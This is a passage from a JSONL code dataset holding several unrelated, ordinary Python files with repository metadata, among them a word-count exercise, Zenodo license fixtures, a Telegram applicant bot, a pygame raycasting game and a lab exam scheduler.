main()","repo_name":"ncumbo/nfl-gambling","sub_path":"NFL/gambling.py","file_name":"gambling.py","file_ext":"py","file_size_in_byte":12512,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"29072181533","text":"# W wierszu policz wystąpienie każdego wyrazu, zignoruj wielkość liter.\n# Szybko, zbudź się, szybko, wstawaj\n# Szybko, szybko, stygnie kawa\n# Szybko, zęby myj i ręce.\n#\n# Zadbaj o sposób wyświetlania np.:\n#\n# szybko : 5\n# zbudź : 1\n\npoet = 'Szybko, zbudź się, szybko, wstawaj Szybko, szybko, stygnie kawa Szybko, zęby myj i ręce'\npoet = poet.replace(',', '')\npoet_lo = poet.lower()\npoet_list = poet_lo.split()\npoet_list_counter = {}\n\nfor word in poet_list:\n if word in poet_list_counter:\n poet_list_counter[word] += 1\n else:\n poet_list_counter[word] = 1\n\nfor k, v in poet_list_counter.items():\n print(f'- {k} : {v}')\n","repo_name":"Adam-Kolowrocki/PythonCourse2022","sub_path":"04_Kolekcje/Zad_all_05.py","file_name":"Zad_all_05.py","file_ext":"py","file_size_in_byte":663,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"43611567057","text":"from __future__ import absolute_import, print_function, unicode_literals\n\nimport json\nfrom collections import OrderedDict\n\nfrom flask import current_app\nfrom invenio_db import db\nfrom invenio_opendefinition.minters import license_minter\nfrom invenio_opendefinition.resolvers import license_resolver\nfrom invenio_opendefinition.validators import license_validator\nfrom invenio_pidstore.errors import PIDAlreadyExists, PIDDoesNotExistError\nfrom invenio_records.api import Record\n\nfrom .utils import read_json\n\n\ndef find_matching_licenses(legacy_licenses, od_licenses):\n \"\"\"Match the licenses from the legacy set with open definition licenses.\n\n :param legacy_licenses: Zenodo legacy licenses.\n :type legacy_licenses: list of dict\n :param od_licenses: OpenDefinition.org licenses.\n :type od_licenses: list of dict\n \"\"\"\n fixed = {\n \"cc-zero\": \"CC0-1.0\",\n \"cc-by-sa\": \"CC-BY-SA-4.0\",\n \"cc-by-nc-4.0\": \"CC-BY-NC-4.0\",\n \"cc-by-nd-4.0\": \"CC-BY-ND-4.0\",\n \"cc-by\": \"CC-BY-4.0\",\n \"agpl-v3\": \"AGPL-3.0\",\n \"apache2.0\": \"Apache-2.0\",\n \"apache\": \"Apache-2.0\",\n \"bsl1.0\": \"BSL-1.0\",\n \"cuaoffice\": \"CUA-OPL-1.0\",\n \"ecl2\": \"ECL-2.0\",\n \"ver2_eiffel\": \"EFL-2.0\",\n \"lucent1.02\": \"LPL-1.02\",\n \"pythonsoftfoundation\": \"Python-2.0\",\n \"qtpl\": \"QPL-1.0\",\n \"real\": \"RPSL-1.0\",\n \"vovidapl\": \"VSL-1.0\",\n \"ukcrown-withrights\": \"ukcrown-withrights\",\n \"sun-issl\": \"SISSL\",\n \"pythonpl\": \"CNRI-Python\",\n }\n\n matchers = (\n (\"Fixed\", lambda z, o: z['id'] in fixed and fixed[z['id']] == o['id']),\n (\"ID\", lambda z, o: z['id'] == o['id']),\n (\"ID_Upper\", lambda z, o: z['id'].upper() == o['id'].upper()),\n (\"URL\", lambda z, o: z['url'] and z['url'] == o['url']),\n (\"URL_Upper\", lambda z, o: z['url'] and\n z['url'].upper() == o['url'].upper()),\n (\"Z title in O\", lambda z, o: z['title'] and\n o['title'].upper().startswith(z['title'].upper())),\n (\"O title in Z\", lambda z, o: z['title'] and\n z['title'].upper().startswith(o['title'].upper())),\n )\n\n missing = []\n matched = []\n for zl in legacy_licenses:\n found = False\n for m_name, m_fun in matchers:\n for ol in od_licenses:\n if m_fun(zl, ol):\n matched.append((zl, ol, m_name))\n found = True\n break\n if found:\n break\n if not found:\n missing.append(zl)\n return matched, missing\n\n\ndef matchlicenses(legacy_lic_filename, od_filename, destination):\n \"\"\"Generate the JSON with the licenses mapping.\"\"\"\n with open(legacy_lic_filename, \"r\") as fp:\n legacy_licenses = json.load(fp)\n with open(od_filename, \"r\") as fp:\n od_licenses = json.load(fp)\n if isinstance(od_licenses, dict):\n od_licenses = [v for k, v in od_licenses.items()]\n matched, missing = find_matching_licenses(legacy_licenses, od_licenses)\n\n mapping = OrderedDict((l1['id'], l2['id']) for l1, l2, _ in matched)\n with open(destination, 'w') as fp:\n json.dump(mapping, fp, indent=2)\n\n\ndef update_legacy_meta(license):\n \"\"\"Update the Zenodo legacy terms for license metadata.\n\n Updates the metadata in order to conform with opendefinition schema.\n \"\"\"\n l = dict(license)\n if 'od_conformance' not in l:\n l['od_conformance'] = 'approved' if l['is_okd_compliant'] \\\n else 'rejected'\n if 'osd_conformance' not in l:\n l['osd_conformance'] = 'approved' if l['is_osi_compliant'] \\\n else 'rejected'\n l.pop('is_okd_compliant', None)\n l.pop('is_osi_compliant', None)\n l['$schema'] = 'http://{0}{1}/{2}'.format(\n current_app.config['JSONSCHEMAS_HOST'],\n current_app.config['JSONSCHEMAS_ENDPOINT'],\n current_app.config['OPENDEFINITION_SCHEMAS_DEFAULT_LICENSE']\n )\n return l\n\n\ndef create_new_license(license):\n \"\"\"Create a new license record.\n\n :param license: License dictionary to be loaded.\n :type license: dict\n \"\"\"\n license = update_legacy_meta(license)\n license_validator.validate(license)\n record = Record.create(license)\n license_minter(record.id, license)\n\n\ndef loadlicenses():\n \"\"\"Load Zenodo licenses.\n\n Create extra PID if license is to be mapped and already exists, otherwise\n create a new license record and a PID.\n \"\"\"\n data = read_json('data/licenses.json')\n map_ = read_json('data/licenses_map.json')\n try:\n for lic in data:\n try:\n create_new_license(lic)\n except PIDAlreadyExists:\n pass\n for pid, alt_pid in map_.items():\n try:\n pid, record = license_resolver.resolve(pid)\n license_minter(record.id, {'id': alt_pid})\n except (PIDDoesNotExistError, PIDAlreadyExists):\n pass\n db.session.commit()\n except Exception:\n db.session.rollback()\n raise\n","repo_name":"zenodo/zenodo","sub_path":"zenodo/modules/fixtures/licenses.py","file_name":"licenses.py","file_ext":"py","file_size_in_byte":5018,"program_lang":"python","lang":"en","doc_type":"code","stars":847,"dataset":"github-code","pt":"47"} +{"seq_id":"19006088557","text":"def mpii_joint_groups():\n joint_groups = [\n ['Head', [0]],\n ['Neck', [1]],\n ['Shou', [2,5]],\n ['Elbow', [3,6]],\n ['Wrist', [4,7]],\n ['Hip', [8,11]],\n ['Knee', [9,12]],\n ['Ankle', [10,13]],\n ]\n all_joints = []\n for i in joint_groups:\n all_joints += i[1]\n return joint_groups, all_joints\n\n\ndef mpii_get_joints(set_name):\n original_joint_names = ['spine3', 'spine4', 'spine2', 'spine1', 'spine', \n 'neck', 'head', 'head_top', 'left_shoulder', 'left_arm', 'left_forearm', \n 'left_hand', 'left_hand_ee', 'right_shoulder', 'right_arm', 'right_forearm', 'right_hand', \n 'right_hand_ee', 'left_leg_up', 'left_leg', 'left_foot', 'left_toe', 'left_ee', \n 'right_leg_up' , 'right_leg', 'right_foot', 'right_toe', 'right_ee']\n \n all_joint_names = ['spine3', 'spine4', 'spine2', 'spine', 'pelvis', \n 'neck', 'head', 'head_top', 'left_clavicle', 'left_shoulder', 'left_elbow', \n 'left_wrist', 'left_hand', 'right_clavicle', 'right_shoulder', 'right_elbow', 'right_wrist', \n 'right_hand', 'left_hip', 'left_knee', 'left_ankle', 'left_foot', 'left_toe', \n 'right_hip' , 'right_knee', 'right_ankle', 'right_foot', 'right_toe']\n\n if set_name=='relavant':\n joint_idx = [8, 6, 15, 16, 17, 10, 11, 12, 24, 25, 26, 19, 20, 21, 5, 4, 7]\n joint_parents_o1 = [ 2, 16, 2, 3, 4, 2, 6, 7, 15, 9, 10, 15, 12, 13, 15, 15, 2]\n joint_parents_o2 = [ 16, 15, 16, 2, 3, 16, 2, 6, 16, 15, 9, 16, 15, 12, 15, 15, 16]\n joint_idx = [i-1 for i in joint_idx]\n joint_parents_o1 = [i-1 for i in joint_parents_o1]\n joint_parents_o2 = [i-1 for i in joint_parents_o2]\n joint_names = [all_joint_names[i] for i in joint_idx]\n return joint_idx, joint_parents_o1, joint_parents_o2, joint_names\n else:\n raise NotImplementedError('Not implemented yet.')\n","repo_name":"Arthur151/ROMP","sub_path":"trace/lib/evaluation/mupots_util/mpii_get_joints.py","file_name":"mpii_get_joints.py","file_ext":"py","file_size_in_byte":1994,"program_lang":"python","lang":"en","doc_type":"code","stars":1176,"dataset":"github-code","pt":"47"} +{"seq_id":"73272563982","text":"def equals(dict1, dict2, depth):\n if type(dict1) == type(dict2):\n if type(dict1) is dict:\n same = True\n differences = []\n for label1, label2 in zip(sorted(dict1.keys()), sorted(dict2.keys())):\n if label1 != label2:\n same = False\n differences.append((label1, label2, \"depth = \" + str(depth), \"different keys\"))\n continue\n is_equal = equals(dict1[label1], dict2[label1], depth + 1)\n if not is_equal[0]:\n same = False\n differences.append(is_equal[1])\n else:\n return same, differences\n if dict1 != dict2:\n return False, [(dict1, dict2, \"depth = \" + str(depth), \"are not equal\")]\n else:\n return True, []\n else:\n return False, [(dict1, dict2, \"depth = \" + str(depth), \"different type\")]\n\n\ndef ex3(dict1: dict, dict2: dict):\n return equals(dict1, dict2, 0)\n\nprint(ex3(\n {'a': {'b': 0}, 's': (2, 3), '.': 1, 'e': 1, 'h': 1, 'l': 1, 'p': 2, ' ': 2, 'A': 1, 'n': 1},\n {'a': {'a': 3}, 's': 2, '.': 1, 'e': 1, 'h': 1, 'l': 1, 'p': 2, ' ': 2, 'A': 1, 'n': 1}\n))\n","repo_name":"CosminAnd/Python","sub_path":"Lab3/ex3.py","file_name":"ex3.py","file_ext":"py","file_size_in_byte":1213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"16444210563","text":"class Solution(object):\n def maxSatisfaction(self, satisfaction):\n \"\"\"\n :type satisfaction: List[int]\n :rtype: int\n \"\"\"\n # o(n)\n satisfaction.sort()\n ss = [0] * (len(satisfaction)+1)\n start = 0\n for i in range(len(satisfaction)):\n ss[i+1] = ss[i] + satisfaction[i]\n # print(satisfaction)\n # print(ss)\n # [a b c] c + before > 0 and \n index = -1\n for i in range(len(ss)-1):\n prev = ss[-2] - ss[i]\n # print(prev, satisfaction[-1])\n if satisfaction[-1] + prev > 0:\n index = i \n break\n # print(\"index is \", index)\n if index == -1:\n return 0\n ret = 0\n m = 1\n for i in range(index, len(satisfaction)):\n ret += satisfaction[i] * m\n m+=1\n return max(ret, 0)\n # on^2\n# satisfaction.sort()\n# # print(satisfaction)\n# ret = [0] * len(satisfaction)\n# for i in range(len(satisfaction)):\n# start = 1\n# running = 0\n# for j in range(i, len(satisfaction)):\n# if j == i:\n# running = start * satisfaction[j]\n# ret[j] = max(ret[j], running)\n# else: \n# running += start * satisfaction[j]\n# ret[j] = max(ret[j], running)\n# start +=1\n# # print(ret)\n# # print(satisfaction)\n# return ret[-1]\n ","repo_name":"dillonwu-97/competitive_programming","sub_path":"leetcode/reducing-dishes.py","file_name":"reducing-dishes.py","file_ext":"py","file_size_in_byte":1589,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"12747800798","text":"import os\nimport time\nimport telebot\nimport monitoringparser\nimport datamanipulation\n\nTOKEN = os.getenv(\"bot_api_key\")\nbot = telebot.TeleBot(TOKEN)\nkeyboard = telebot.types.ReplyKeyboardMarkup(resize_keyboard=True)\nkeyboard.row(\"Инфа\", \"Пи\")\nkeyboard.row(\"Кб\", \"Пм\")\nkeyboard.row(\"Ам\", \"Эк\")\nParser = monitoringparser.Parser()\nDataBase = datamanipulation.DataBase()\n\n\ndef grade_to_range(grade: int) -> str:\n if grade >= 391: \n return \"391+\"\n if grade <= 120:\n return \"120-\" \n remainder = grade % 5\n if remainder == 0:\n return f'{grade}-{grade - 4}'\n return f'{grade - remainder + 5}-{grade - remainder + 1}'\n\n\n@bot.message_handler(commands=['start', 'go'])\ndef start_handler(message):\n bot.send_message(message.chat.id,\n \"Привет, абитуриент! Напиши свои баллы. [Пример: 365]\",\n reply_markup=keyboard)\n DataBase.delete_user(message.chat.id)\n\n\n@bot.message_handler(content_types=['text'])\ndef send_score(message):\n print(\"{}: {}\".format(message.from_user.username, message.text))\n if message.text in [\"Инфа\", \"Кб\", \"Пи\", \"Пм\", \"Ам\", \"Эк\"]:\n grade = DataBase.get_user_score(message.chat.id)\n if grade is None:\n bot.send_message(message.chat.id, \"*Напиши свои баллы. [Пример: 365]*\")\n\n if message.text == \"Инфа\" and grade:\n try:\n response = Parser(\"информатика\", grade)\n except Exception:\n bot.send_message(message.chat.id, \"Проверь правильность написания баллов!\")\n DataBase.delete_user(message.chat.id)\n else:\n bot.send_message(message.chat.id, response)\n\n elif message.text == \"Кб\" and grade:\n try:\n response = Parser(\"компьютерная безопасность (направление - математические методы и программные системы)\",\n grade)\n except Exception:\n bot.send_message(message.chat.id, \"Проверь правильность написания баллов!\")\n DataBase.delete_user(message.chat.id)\n else:\n bot.send_message(message.chat.id, response)\n\n elif message.text == \"Пи\" and grade:\n try:\n response = Parser(\"прикладная информатика (направление - программное обеспечение компьютерных систем)\",\n grade)\n except Exception:\n bot.send_message(message.chat.id, \"Проверь правильность написания баллов!\")\n DataBase.delete_user(message.chat.id)\n else:\n bot.send_message(message.chat.id, response)\n\n elif message.text == \"Пм\" and grade:\n try:\n response = Parser(\"прикладная математика (направление - научно-производственная деятельность)\", grade)\n except Exception:\n bot.send_message(message.chat.id, \"Проверь правильность написания баллов!\")\n DataBase.delete_user(message.chat.id)\n else:\n bot.send_message(message.chat.id, response)\n\n elif message.text == \"Ам\" and grade:\n try:\n response = Parser(\"актуарная математика\", grade)\n except Exception:\n bot.send_message(message.chat.id, \"Проверь правильность написания баллов!\")\n DataBase.delete_user(message.chat.id)\n else:\n bot.send_message(message.chat.id, response)\n \n elif message.text == \"Эк\" and grade:\n try:\n response = Parser(\"экономическая кибернетика (направление - математические методы и компьютерное моделирование в экономике)\", grade)\n except Exception:\n bot.send_message(message.chat.id, \"Проверь правильность написания баллов!\")\n DataBase.delete_user(message.chat.id)\n else:\n bot.send_message(message.chat.id, response)\n\n else:\n try:\n grade = int(message.text)\n except ValueError:\n bot.send_message(message.chat.id, \"Некорректный ввод =(\")\n else: \n DataBase.add_user(message.chat.id, message.from_user.username, grade_to_range(grade))\n bot.send_message(message.chat.id, \"Если ты правильно написал балл, то выбирай специальность, которую хочешь \"\n \"посмотреть.\\nНапиши/Нажми Инфа/Кб/Пм/Пи/Ам/Эк\", reply_markup=keyboard)\n\n\nwhile True:\n try:\n bot.polling(none_stop=True)\n except Exception as e:\n print(e)\n time.sleep(5)\n","repo_name":"al1enjesus/famcs-applicants-bot","sub_path":"mainbot.py","file_name":"mainbot.py","file_ext":"py","file_size_in_byte":5113,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"20710330065","text":"\"\"\"\n Author: Gustavo Diaz Galeas\n UCF ID: 3520029\n Course: COP 5537\n\n File name: sim_helper.py\n\n Contains helper functions used in the\n running of the simulator\n\"\"\"\n\nimport json\n\nfrom parameters import MAX_LOSS\nfrom random import choice\nfrom random import uniform\n\n\ndef average(lst):\n \"\"\"\n Finds the average value of\n a list\n\n :param lst: List of ints\n :return: The average value of the list\n \"\"\"\n\n return sum(lst) / len(lst)\n\n\ndef error(msg):\n \"\"\"\n Prints an error message\n\n :param msg: the error message\n :return: Nothing\n \"\"\"\n\n print(\"ERROR: \" + msg)\n\n\ndef list_string_to_int(l_str):\n \"\"\"\n Converts a list of strings to\n a list of integers\n\n :param l_str: a 2D list of strings\n :return l_int: a 1D list of ints\n \"\"\"\n\n l_int = []\n\n for i in range(len(l_str)):\n l_int.append(int(l_str[i]))\n\n return l_int\n\n\ndef outgoing_check(row):\n \"\"\"\n Does a check to see if a node has\n any outgoing edges\n\n :param row: Node to check\n :return: True if there are outgoing edges, False otherwise\n \"\"\"\n\n if (1 in row):\n return True\n\n return False\n\n\ndef populate_adjacency(file_name):\n \"\"\"\n Creates an adjacency matrix based on the\n input file\n\n :param file_name: Name of the network to read from\n :return adjacency: a 2D list representing the network\n \"\"\"\n\n adjacency = []\n\n with open(file_name, \"r\") as f:\n for line in f:\n data = line.split()\n weights = data[1].split(\",\")\n\n weights = list_string_to_int(weights)\n adjacency.append(weights)\n\n return adjacency\n\n\ndef random_index(lst):\n\n index = []\n\n for i in range(len(lst)):\n if (lst[i] == 1):\n index.append(i)\n\n return choice(index)\n\n\ndef update_value(source, receiver):\n \"\"\"\n Updates a value by adding loss\n\n :param source: Value determines the type of value update to perform\n :param receiver: Value to be updated\n :return:\n \"\"\"\n\n # No disinformation spread possible\n if (source >= 0.5):\n return receiver\n\n # Denotes possible spread of disinformation\n if (source <= -0.5):\n\n # Denotes a vulnerable value\n if ((receiver > -0.5) and (receiver <= 0.5)):\n return receiver + MAX_LOSS\n\n # Denotes value approaching saturation\n if (receiver <= -0.5):\n\n # Saturation has been reached\n if ((receiver + MAX_LOSS) < -1):\n return -1\n\n return receiver + MAX_LOSS\n\n # Default return\n return receiver\n\n\ndef uniform_populate(size):\n \"\"\"\n Creates an array filled with values that are a part\n of a uniform distribution\n\n :param size: Size of the distribution array\n :return distribution: Array containing the uniform distribution\n \"\"\"\n\n distribution = []\n\n for i in range(size):\n distribution.append(uniform(-1, 1))\n\n return distribution\n","repo_name":"Incapamentum/Disinformation-Analysis","sub_path":"simulation/sim_helper.py","file_name":"sim_helper.py","file_ext":"py","file_size_in_byte":3057,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"18236210555","text":"import pygame as pg\nimport sys\nfrom settings import *\nfrom map import *\nfrom player import *\nfrom raycasting import *\nfrom object_renderer import *\nfrom sprite_object import *\nfrom object_handler import *\nfrom weapon import *\nfrom sound import *\nfrom pathfinding import *\n\n\nclass Game:\n def __init__(self):\n pg.init()\n pg.mouse.set_visible(False)\n self.screen = pg.display.set_mode(RES)\n pg.event.set_grab(True)\n self.clock = pg.time.Clock()\n self.delta_time = 1\n self.global_trigger = False\n self.global_event = pg.USEREVENT + 0\n pg.time.set_timer(self.global_event, 40)\n self.new_game()\n\n def new_game(self):\n self.map = Map(self)\n self.player = Player(self)\n self.object_renderer = ObjectRenderer(self)\n self.raycasting = RayCasting(self)\n self.object_handler = ObjectHandler(self)\n self.weapon = Weapon(self)\n self.sound = Sound(self)\n self.pathfinding = PathFinding(self)\n pg.mixer.music.play(-1)\n\n def update(self):\n self.player.update()\n self.raycasting.update()\n self.object_handler.update()\n self.weapon.update()\n pg.display.flip()\n self.delta_time = self.clock.tick(FPS)\n pg.display.set_caption(f'{self.clock.get_fps() :.1f}')\n\n def draw(self):\n # self.screen.fill('black')\n self.object_renderer.draw()\n self.weapon.draw()\n # self.map.draw()\n # self.player.draw()\n\n def check_events(self):\n self.global_trigger = False\n for event in pg.event.get():\n if event.type == pg.QUIT or (event.type == pg.KEYDOWN and event.key == pg.K_ESCAPE):\n pg.quit()\n sys.exit()\n elif event.type == self.global_event:\n self.global_trigger = True\n self.player.single_fire_event(event)\n\n def run(self):\n while True:\n self.check_events()\n self.update()\n self.draw()\n\n\nif __name__ == '__main__':\n game = Game()\n game.run()\n","repo_name":"StanislavPetrovV/DOOM-style-Game","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2081,"program_lang":"python","lang":"en","doc_type":"code","stars":433,"dataset":"github-code","pt":"47"} +{"seq_id":"4926962196","text":"from modelo.paciente import Paciente\nfrom modelo.examen import Examen\nfrom modelo.tipoExamen import TipoExamen\nfrom modelo.apoderado import Apoderado\nfrom modelo.fechaHoraExamen import FechaHoraExamen\nfrom modelo.horarioAtencionLaboratorio import HorarioAtencionLaboratorio\nfrom modelo.singletonFileReader import SingletonFileReader\nfrom datetime import datetime\n\ndef main():\n FERIADOS = {\"08-10\", \"11-03\"} \n HORARIO_APERTURA = \"7:00\"\n HORARIO_CIERRE = \"16:00\"\n HORARIO_APERTURA_EARLY = \"7:00\"\n HORARIO_CIERRE_EARLY = \"9:00\"\n DIAS_ATENCION = [0,1,2,3,4]\n nombre_archivo = 'inputs/lab_input.txt'\n horario_atencion_laboratorio = crear_horario_atencion_laboratorio(DIAS_ATENCION, HORARIO_APERTURA, HORARIO_CIERRE, FERIADOS)\n lineas_del_archivo = leer_datos_desde_archivo(nombre_archivo)\n examenes = leer_examenes_desde_lineas_del_archivo(lineas_del_archivo, horario_atencion_laboratorio)\n imprimir_listado_examenes(examenes)\n\ndef crear_horario_atencion_laboratorio(dias_semana, HORARIO_APERTURA, HORARIO_CIERRE, dias_feriados):\n horario_apertura = datetime.strptime(HORARIO_APERTURA, \"%H:%M\").time()\n horario_cierre = datetime.strptime(HORARIO_CIERRE, \"%H:%M\").time()\n horario_atencion_laboratorio = HorarioAtencionLaboratorio(dias_semana, horario_apertura, horario_cierre, dias_feriados)\n return horario_atencion_laboratorio\n\ndef leer_datos_desde_archivo(nombre_archivo):\n singleton_file_reader = SingletonFileReader(nombre_archivo)\n lineas = singleton_file_reader.read_lines()\n return lineas\n\ndef leer_examenes_desde_lineas_del_archivo(lineas, horario_atencion_laboratorio):\n examenes = []\n for linea in lineas:\n partes = linea.strip().split('|')\n if len(partes) == 1:\n fecha_actual = partes[0]\n elif len(partes) == 10 or len(partes) == 15:\n try:\n tipoExamen = leer_tipo_examen(partes)\n fecha_hora_examen = revisar_fecha(partes, fecha_actual)\n apoderado = leer_apoderado(partes)\n paciente = leer_paciente(partes, apoderado)\n examenes = agregar_examen_a_examenes(\"guardado\", paciente, fecha_hora_examen, examenes, tipoExamen, horario_atencion_laboratorio)\n except ValueError as e:\n print(f\"Cita Existente con formato equivocado - Error: {e}\")\n elif len(partes) == 11 or len(partes) == 16:\n try:\n tipoExamen = agregar_tipo_examen(partes)\n fecha_hora_examen = agregar_fecha(partes)\n apoderado = agregar_apoderado(partes)\n paciente = agregar_paciente(partes, apoderado)\n examenes = agregar_examen_a_examenes(\"nuevo\", paciente, fecha_hora_examen, examenes, tipoExamen, horario_atencion_laboratorio)\n except ValueError as e:\n print(f\"No se pudo agregar - Error: {e}\")\n\n return examenes\n\ndef agregar_examen_a_examenes(estado, paciente, fecha_hora_examen, examenes, tipoExamen, horario_atencion_laboratorio):\n fecha = FechaHoraExamen(fecha_hora_examen, horario_atencion_laboratorio)\n validar_cita_paciente(paciente, fecha_hora_examen, examenes)\n validar_citas_simultaneas(fecha_hora_examen, examenes)\n fecha.verificar_restricciones()\n examen = agregar_examen(paciente, tipoExamen, fecha.fecha_hora_examen)\n examen.cambiar_estado(estado)\n examen.contexto.estado.realizar_examen()\n examenes.append(examen)\n return examenes\n\ndef validar_citas_simultaneas(fecha_hora_nuevo_examen, examenes):\n contador = 1\n for examen in examenes:\n if fecha_hora_nuevo_examen.date() == examen.fecha_hora_examen.date() and fecha_hora_nuevo_examen.time() == examen.fecha_hora_examen.time():\n contador += 1\n \n if contador > 2:\n raise ValueError(\"Se pueden hacer hasta 2 reservas en el mismo horario\")\n \n\ndef validar_cita_paciente(paciente, fecha_hora_nuevo_examen, examenes):\n for examen in examenes:\n if examen.paciente.identificacion == paciente.identificacion and examen.fecha_hora_examen.date() == fecha_hora_nuevo_examen.date() and examen.fecha_hora_examen.time() == fecha_hora_nuevo_examen.time():\n raise ValueError(\"El paciente ya tiene una cita en el mismo horario.\")\n\ndef leer_apoderado(partes):\n if len(partes) == 15:\n _, _, _, _, _, _, _, _, _, _, nombre_apoderado, tipo_identificacion_apoderado, identificacion_apoderado, fecha_nacimiento_apoderado, _ = partes\n return crear_objeto_apoderado(nombre_apoderado, tipo_identificacion_apoderado, identificacion_apoderado, fecha_nacimiento_apoderado)\n\n return None\n\ndef agregar_apoderado(partes):\n if len(partes) == 16:\n _, _, _, _, _, _, _, _, _, _, _, nombre_apoderado, tipo_identificacion_apoderado, identificacion_apoderado, fecha_nacimiento_apoderado, _ = partes\n return crear_objeto_apoderado(nombre_apoderado, tipo_identificacion_apoderado, identificacion_apoderado, fecha_nacimiento_apoderado)\n\n return None\n \ndef crear_objeto_apoderado(nombre_apoderado, tipo_identificacion_apoderado, identificacion_apoderado, fecha_nacimiento_apoderado):\n return Apoderado(nombre_apoderado, parsear_fecha(fecha_nacimiento_apoderado), tipo_identificacion_apoderado, identificacion_apoderado)\n \ndef leer_paciente(partes, apoderado):\n correo_contacto = \"dummy@hotmail.com\"\n if len(partes) == 10:\n _, _, _, nombre_paciente, _, tipo_identificacion_paciente, identificacion_paciente, telefono_contacto, fecha_nacimiento_paciente, _= partes\n return crear_objeto_paciente(nombre_paciente, fecha_nacimiento_paciente, tipo_identificacion_paciente, identificacion_paciente, telefono_contacto, correo_contacto)\n elif len(partes) == 15:\n _, _, _, nombre_paciente, _, tipo_identificacion_paciente, identificacion_paciente, telefono_contacto, fecha_nacimiento_paciente, _, _ ,_ ,_ ,_, _ = partes\n return crear_objeto_paciente_con_apoderado(nombre_paciente, fecha_nacimiento_paciente, tipo_identificacion_paciente, identificacion_paciente, telefono_contacto, correo_contacto, apoderado)\n else:\n return None\n\ndef agregar_paciente(partes, apoderado):\n correo_contacto = \"dummy@hotmail.com\"\n if len(partes) == 11:\n _, _, _, _, nombre_paciente, rango_edad_paciente, tipo_identificacion_paciente, identificacion_paciente, telefono_contacto, fecha_nacimiento_paciente, _= partes\n return crear_objeto_paciente(nombre_paciente, fecha_nacimiento_paciente, tipo_identificacion_paciente, identificacion_paciente, telefono_contacto, correo_contacto)\n elif len(partes) == 16:\n _, _, _, _, nombre_paciente, rango_edad_paciente, tipo_identificacion_paciente, identificacion_paciente, telefono_contacto, fecha_nacimiento_paciente, _, _ ,_ ,_ ,_, _ = partes\n return crear_objeto_paciente_con_apoderado(nombre_paciente, fecha_nacimiento_paciente, tipo_identificacion_paciente, identificacion_paciente, telefono_contacto, correo_contacto, apoderado)\n else:\n return None\n\ndef crear_objeto_paciente(nombre_paciente, fecha_nacimiento_paciente, tipo_identificacion_paciente, identificacion_paciente, telefono_contacto, correo_contacto):\n return Paciente(nombre_paciente, parsear_fecha(fecha_nacimiento_paciente), tipo_identificacion_paciente, identificacion_paciente, telefono_contacto, correo_contacto)\n\ndef crear_objeto_paciente_con_apoderado(nombre_paciente, fecha_nacimiento_paciente, tipo_identificacion_paciente, identificacion_paciente, telefono_contacto, correo_contacto, apoderado):\n return Paciente(nombre_paciente, parsear_fecha(fecha_nacimiento_paciente), tipo_identificacion_paciente, identificacion_paciente, telefono_contacto, correo_contacto, apoderado)\n\n\ndef leer_tipo_examen(partes):\n if len(partes) == 10:\n _, nombre_examen, horario_especial_examen, _, _, _, _, _, _, _ = partes\n tipoExamen = TipoExamen(nombre_examen, horario_especial_examen)\n return tipoExamen\n elif len(partes) == 15:\n _, nombre_examen, horario_especial_examen, _, _, _, _, _, _, _, _, _, _, _, _ = partes\n tipoExamen = TipoExamen(nombre_examen, horario_especial_examen)\n return tipoExamen\n else:\n return None\n\ndef agregar_tipo_examen(partes):\n if len(partes) == 11:\n _, _, nombre_examen, horario_especial_examen, _, _, _, _, _, _, _ = partes\n tipoExamen = TipoExamen(nombre_examen, horario_especial_examen)\n return tipoExamen\n elif len(partes) == 16:\n _, _, nombre_examen, horario_especial_examen, _, _, _, _, _, _, _, _, _, _, _, _ = partes\n tipoExamen = TipoExamen(nombre_examen, horario_especial_examen)\n return tipoExamen\n else:\n return None\n\ndef revisar_fecha(partes, fecha_actual):\n if len(partes) == 10:\n hora_examen, _, _, _, _, _, _, _, _, _ = partes\n fecha_hora_examen = combinar_fecha_hora(fecha_actual, hora_examen)\n return fecha_hora_examen\n elif len(partes) == 15:\n hora_examen, _, _, _, _, _, _, _, _, _, _, _, _, _, _ = partes\n fecha_hora_examen = combinar_fecha_hora(fecha_actual, hora_examen)\n return fecha_hora_examen\n else:\n return None\n\ndef agregar_fecha(partes):\n if len(partes) == 11:\n fecha_examen, hora_examen, _, _, _, _, _, _, _, _, _ = partes\n elif len(partes) == 16:\n fecha_examen, hora_examen, _, _, _, _, _, _, _, _, _, _, _, _, _, _ = partes\n \n return combinar_fecha_hora(fecha_examen, hora_examen)\n\ndef agregar_examen(paciente, tipoExamen, fecha_hora_examen):\n examen = Examen(paciente, tipoExamen, fecha_hora_examen)\n return examen\n\ndef parsear_fecha(textoFecha):\n try:\n return datetime.strptime(textoFecha, '%Y-%m-%d')\n except ValueError:\n raise ValueError(\"Fecha AAAA-MM-DD incorrecta\")\n\ndef combinar_fecha_hora(fecha_string, hora_string):\n if not fecha_string or not hora_string:\n raise ValueError(\"Fecha vacía\")\n try:\n hora = datetime.strptime(hora_string, '%H:%M')\n fecha = datetime.strptime(fecha_string, '%Y-%m-%d')\n return datetime(year=fecha.year, month=fecha.month, day=fecha.day, hour=hora.hour, minute=hora.minute)\n except ValueError:\n raise ValueError(\"Fecha incorrecta\")\n\ndef leer_fechas_examenes(examenes):\n examenes_por_fecha = {}\n for examen in examenes:\n fecha = examen.fecha_hora_examen.date()\n if fecha not in examenes_por_fecha:\n examenes_por_fecha[fecha] = []\n examenes_por_fecha[fecha].append(examen)\n \n return examenes_por_fecha\n\ndef imprimir_listado_examenes(examenes):\n examenes.sort(key=lambda x: x.fecha_hora_examen)\n examenes_por_fecha = leer_fechas_examenes(examenes)\n for fecha, ex_list in examenes_por_fecha.items():\n print(fecha)\n for examen in ex_list:\n if examen.paciente.tiene_apoderado():\n examen.imprimir_examen_persona_menor_de_edad()\n else:\n examen.imprimir_examen_persona_mayor_de_edad()\n print()\n\nif __name__ == \"__main__\":\n 